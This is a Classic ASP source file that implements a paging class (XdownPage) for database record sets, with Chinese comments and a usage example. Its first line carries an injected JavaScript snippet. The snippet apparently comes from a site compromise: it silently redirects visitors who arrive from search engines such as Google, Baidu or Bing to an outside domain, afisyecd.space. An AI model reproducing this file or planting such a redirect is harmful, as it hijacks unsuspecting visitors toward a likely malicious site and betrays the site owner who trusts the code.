d:\wwwroot\wuchunhua\sendmail\inc\Page_cls.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%'微网网络(www.vwen.com)版权所有 ASP技术交流QQ群:19535106
002: Dim Btn_First,Btn_Prev,Btn_Next,Btn_Last
003: Btn_First="<font face=""webdings""><img src='"& MainPath &"images/Page_First.gif' border='0' /></font>"  '定义第一页按钮显示样式
004: Btn_Prev="<font face=""webdings""><img src='"& MainPath &"images/Page_Previous.gif' border='0' /></font>"  '定义前一页按钮显示样式
005: Btn_Next="<font face=""webdings""><img src='"& MainPath &"images/Page_Next.gif' border='0' /></font>"  '定义下一页按钮显示样式
006: Btn_Last="<font face=""webdings""><img src='"& MainPath &"images/Page_Last.gif' border='0' /></font>"  '定义最后一页按钮显示样式
007: Const XD_Align="Center" '定义分页信息对齐方式
008: Const XD_Width="100%" '定义分页信息框大小
009:
010: Class XdownPage
011: Private XD_PageCount,XD_Conn,XD_Rs,XD_SQL,XD_PageSize,Str_errors,int_curpage,str_URL,int_totalPage,int_totalRecord,XD_sURL
012:
013: '=================================================================
014: 'PageSize 属性
015: '设置每一页的分页大小
016: '=================================================================
017: Public Property Let PageSize(int_PageSize)
018:   If IsNumeric(Int_PageSize) Then
019:     XD_PageSize=CLng(int_PageSize)
020:   Else
021:     str_error=str_error & "PageSize的参数不正确"
022:     ShowError()
023:   End If
024: End Property
025:
026: Public Property Get PageSize
027:   If XD_PageSize="" or (not(IsNumeric(XD_PageSize))) Then
028:     PageSize=10
029:   Else
030:     PageSize=XD_PageSize
031:   End If
032: End Property
033:
034: '=================================================================
035: 'GetRS 属性
036: '返回分页后的记录集
037: '=================================================================
038: Public Property Get GetRS()
039:   Set XD_Rs=Server.createobject("adodb.recordset")
040:   XD_Rs.PageSize=PageSize
041:   XD_Rs.Open XD_SQL,XD_Conn,1,1
042:   If not(XD_Rs.eof and XD_RS.BOF) Then
043:     If int_curpage>XD_RS.PageCount Then
044:       int_curpage=XD_RS.PageCount
045:     End If
046:     XD_Rs.AbsolutePage=int_curpage
047:   End If
048:   Set GetRS=XD_RS
049: End Property
050:
051: '================================================================
052: 'GetConn 得到数据库连接
053: '================================================================
054: 'Public Property Let GetConn(obj_Conn)
055: '  Set XD_Conn=obj_Conn
056: 'End Property
057:
058: '================================================================
059: 'GetSQL 得到查询语句
060: '================================================================
061: Public Property Let GetSQL(str_sql)
062:   XD_SQL=str_sql
063: End Property
064:
065: '==================================================================
066: 'Class_Initialize 类的初始化
067: '初始化当前页的值
068: '==================================================================
069: Private Sub Class_Initialize
070:   If Not IsObject(Conn) Then ConnectionDatabase
071:   Set XD_Conn=Conn
072: '========================
073: '设定分页的默认值
074: '========================
075:   XD_PageSize=10  '设定分页的默认值为10
076: '========================
077: '获取当前面的值
078: '========================
079:   If Request("page") = "" Then
080:     int_curpage=1
081:   ElseIf Not(IsNumeric(request("page"))) Then
082:     int_curpage=1
083:   ElseIf CInt(Trim(Request("page"))) < 1 Then
084:     int_curpage=1
085:   Else
086:     Int_curpage = CInt(Trim(Request("page")))
087:   End If
088: End Sub
089:
090: '========================
091: '获取当前所有纪录数
092: '========================
093: Public function ShowTotalRecord()
094: int_totalRecord=XD_RS.RecordCount
095: ShowTotalRecord=int_totalrecord
096: End function
097:
098: '====================================================================
099: 'ShowPage 创建分页导航条
100: '有首页、前一页、下一页、末页、还有数字导航
101: '====================================================================
102: Public Sub ShowPage()
103:   Dim str_tmp
104:   XD_sURL = GetUrl()
105:   int_totalRecord=XD_RS.RecordCount
106:   If int_totalRecord<=0 Then
107:     str_error=str_error & "总记录数为零,请输入数据"
108:     Call ShowError()
109:   End If
110:   If int_totalRecord="" then
111:     int_TotalPage=1
112:   Else
113:     If int_totalRecord mod PageSize =0 Then
114:       int_TotalPage = int_TotalRecord \ XD_PageSize
115:     Else
116:       int_TotalPage = int_TotalRecord \ XD_PageSize+1
117:     End If
118:   End If
119:
120:   If Int_curpage>int_Totalpage Then
121:     int_curpage=int_TotalPage
122:   End If
123: '==================================================================
124: '显示分页信息,各个模块根据自己要求更改显求位置
125: '==================================================================
126:   Response.Write("")
127:   str_tmp = ShowFirstPrv
128:   Response.Write(str_tmp)
129:   str_tmp=showNumBtn
130:   Response.Write(str_tmp)
131:   str_tmp = ShowNextLast
132:   Response.Write str_tmp
133:   str_tmp = ShowNextBtn
134:   Response.Write str_tmp  
135:   str_tmp = ShowPageInfo
136:   Response.Write(str_tmp)
137:   str_tmp = ShowGotoBtn
138:   Response.Write(str_tmp)  
139:   response.write("")
140: End Sub
141: 'int_curpage当前页码,int_totalRecord纪录总数,int_TotalPage 总页数
142: '====================================================================
143: 'ShowFirstPrv 显示首页、前5页
144: '====================================================================
145:
146: Private Function ShowFirstPrv()
147:   Dim Str_tmp,int_prvpage
148:     str_tmp = "分页:"
149:   If int_curpage = 1 Then
150:     str_tmp = str_tmp & Btn_First & " "
151:   Else
152:      str_tmp = str_tmp & "<a href=""" & XD_sURL & "1" & """ title=""首页"">" & Btn_First&"</a> "
153:     if int_curpage>5 then
154:     str_tmp = str_tmp & "<a href=""" & XD_sURL & CStr(int_curpage-5) & """ title=""上五页"">" & Btn_Prev & "</a> "
155:    end if
156:   End If
157:   ShowFirstPrv = str_tmp
158: End Function
159:
160: '====================================================================
161: 'ShowNextLast 下6页、末页
162: '====================================================================
163: Private Function ShowNextLast()
164:   Dim str_tmp,int_Nextpage
165:   If Int_curpage >= int_totalpage Then
166:     str_tmp = Btn_Last &" "
167:   Else
168:     
169:      If (int_TotalPage-int_curpage)>5  Then
170:     str_tmp = "<a href=""" & XD_sURL & CStr(int_curpage+5) & """ title=""下五页"">" & Btn_Next & "</a> "
171:    end if
172:    str_tmp = str_tmp & "<a href="""& XD_sURL & CStr(int_totalpage) & """ title=""尾页"">" & Btn_Last & "</a>"
173:   End If
174:   ShowNextLast = str_tmp
175: End Function
176:
177: '====================================================================
178: 'ShowNumBtn 数字导航
179: '====================================================================
180: Private Function showNumBtn()
181:   Dim i,str_tmp
182:   PageNMin=int_curpage-4
183:   if PageNMin<1 then PageNMin=1' 计算最小页数
184:   PageNMax=int_curpage+4
185:   if PageNMax>int_TotalPage then PageNMax=int_TotalPage' 计算最大页数
186:   For i=PageNMin To PageNMax
187:   if i=int_curpage then
188:         str_tmp = str_tmp &"<span style='color:#F60'><b>"& i &"</b></span> "
189:    else
190:       str_tmp = str_tmp &"<b><a title='转到第"& i &"页' href='" & XD_sURL & CStr(i) &"'>"& i &"</a></b> "
191:      end if
192:   Next
193:   showNumBtn = str_tmp
194: End Function
195:
196: '====================================================================
197: 'ShowNextBtn 上页 下页
198: '====================================================================
199: Private Function ShowNextBtn()
200:   Dim i,str_tmp
201:   previous=int_curpage-1 '当前页-1 ‘int_TotalPage总页数
202:   if previous<1 then previous=1
203:   NextPage=int_curpage+1
204:   if NextPage> int_TotalPage then NextPage=int_TotalPage '如果下一页大于总页数
205:   response.Write("&nbsp;")
206:   if int_TotalPage<>1 then
207:      if previous<>1 and int_curpage=int_TotalPage then
208:         str_tmp = str_tmp &" <a title='转到第"& previous &"页' href='" & XD_sURL & CStr(previous) &"'>[上页]</a> [下页] "
209:    elseif int_curpage=1 and NextPage<>int_TotalPage then
210:       str_tmp = str_tmp &" [上页] <a title='转到第"& NextPage &"页' href='" & XD_sURL & CStr(NextPage) &"'>[下页]</a> "
211:    else
212:       str_tmp = str_tmp &" <a title='转到第"& previous &"页' href='" & XD_sURL & CStr(previous) &"'>[上页]</a> <a title='转到第"& NextPage &"页' href='" & XD_sURL & CStr(NextPage) &"'>[下页]</a> "
213:    end if
214:   end if
215:
216:   ShowNextBtn = str_tmp
217: End Function
218:
219: '====================================================================
220: 'ShowGotoBtn 直接跳转页数
221: '====================================================================
222: Private Function ShowGotoBtn()
223:   Dim i,str_tmp
224:         str_tmp = str_tmp &"&nbsp; 跳到<input name=""goto"" type=""text"" size=""2"" maxlength=""10"" style=""width:26px; border:1px solid #999999"" onkeydown=""javascript:if(event.keyCode==13)window.location='"& XD_sURL &"'+this.value;"" />页 "
225:   ShowGotoBtn = str_tmp
226: End Function
227:
228: '====================================================================
229: 'ShowPageInfo 分页信息
230: '更据要求自行修改
231: '====================================================================
232: Private Function ShowPageInfo()
233:   Dim str_tmp
234:   str_tmp = " &nbsp; 页次:<strong>" & int_curpage & "</strong>/<strong>" & int_totalpage & "</strong>页&nbsp;共<strong>" & int_totalrecord & "</strong>条记录 <strong>" & XD_PageSize & "</strong>条/每页"
235:   ShowPageInfo = str_tmp
236: End Function
237:
238: '==================================================================
239: 'GetURL 得到当前的URL
240: '更据URL参数不同,获取不同的结果
241: '==================================================================
242: Private Function GetURL()
243:   Dim strurl,str_url,i,j,search_str,result_url
244:   search_str = "page="
245:
246:   strurl = Request.ServerVariables("URL")
247:   Strurl = split(strurl,"/")
248:   i = UBound(strurl,1)
249:   str_url = strurl(i)  '得到当前页文件名
250:
251:   str_params=Trim(Request.ServerVariables("QUERY_STRING"))
252:
253:   If str_params = "" Then
254:     result_url = str_url & "?page="
255:   Else
256:     If InstrRev(str_params,search_str)=0 Then
257:       result_url = str_url & "?" & str_params & "&page="
258:     Else
259:       j = InstrRev(str_params,search_str)-2
260:       If j=-1 Then
261:         result_url=str_url & "?page="
262:       Else
263:         str_params = Left(str_params,j)
264:         result_url = str_url & "?" & str_params & "&page="
265:       End If
266:     End If
267:   End If
268:   GetURL = result_url
269: End Function
270:
271: '====================================================================
272: ' 设置 Terminate 事件。
273: '====================================================================
274: Private Sub Class_Terminate
275:   XD_RS.Close
276:   Set XD_RS = nothing
277: End Sub
278:
279: '====================================================================
280: 'ShowError 错误提示
281: '====================================================================
282: Private Sub ShowError()
283:   If str_Error <> "" Then
284:     Response.Write("" & str_Error & "")
285:     Response.End
286:   End If
287: End Sub
288: End Class
289: %
>
290:
291:
292:
293: <%
294: '类调用样例
295: 'Set MyPage = New XdownPage  '创建对象
296: 'MyPage.GetConn = conn  '得到数据库连接
297: 'MyPage.GetSQL = "Select * From [数据库表名称] Order By ID Desc"  'sql语句
298: 'MyPage.PageSize = 10  '设置每一页的记录条数据为10条
299: 'Set rs = MyPage.GetRS()  '返回Recordset
300:
301: 'For i=1 To MyPage.PageSize  '显示数据
302: '  If Not rs.EOF Then
303: '    Response.Write(rs("数据字段") & "<br/>")
304: '    rs.Movenext
305: '  Else
306: '     Exit For
307: '  End If
308: 'Next
309:
310: 'MyPage.ShowPage()  '显示分页信息,这个方法可以,在set rs = mypage.getrs()以后,可在任意位置调用,可以调用多次
311: %
>
312:
313: